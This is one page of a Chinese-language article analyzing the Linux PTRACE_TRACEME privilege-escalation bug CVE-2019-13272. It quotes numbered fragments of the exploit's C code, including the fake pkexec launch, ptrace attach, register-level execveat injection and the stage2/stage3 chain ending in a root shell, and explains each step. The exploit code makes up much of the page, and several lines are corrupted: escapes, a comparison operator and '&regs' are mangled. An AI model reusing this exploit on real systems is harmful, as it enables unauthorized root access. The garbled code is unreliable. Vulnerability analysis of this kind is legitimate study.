PTRACE_TRACEME CVE-2019-13272 本地提权漏洞解析

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }
行 70, 调用 fork 生成孙进程(也就是 task C)
然后行 111, task B 运行 fakepkexec 让自己提权再降权
然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后, 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0
190   /*
191    * wait for our child to go through both execve() calls (first pkexec, then
192    * the executable permitted by polkit policy).
193    */
194   while (1) {
195     int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196     char buf[16];
197     int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198     buf[buflen] = '';
199     *strchrnul(buf, 'n') = '';
200     if (strncmp(buf, basename(helper_path), 15) == 0)
201       break;
202     usleep(100000);
203   }
204
205   /*
206    * our child should have gone through both the privileged execve() and the
207    * following execve() here
208    */
209   SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210   SAFE(waitpid(midpid, &dummy_status, 0));
211   fputs("attached to midpidn", stderr);
212
213   force_exec_and_wait(midpid, 0, "stage2");
214   return 0;
接下去回到 task A 的 main 函数, 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后,运行行 213 执行 force_exec_and_wait
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }
函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程(即 exploit 的可执行程序)然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数
167 int main(int argc, char **argv) {
168   if (strcmp(argv[0], "stage2") == 0)
169     return middle_stage2();
170   if (strcmp(argv[0], "stage3") == 0)
171     return spawn_shell();
而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数,将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]  下一页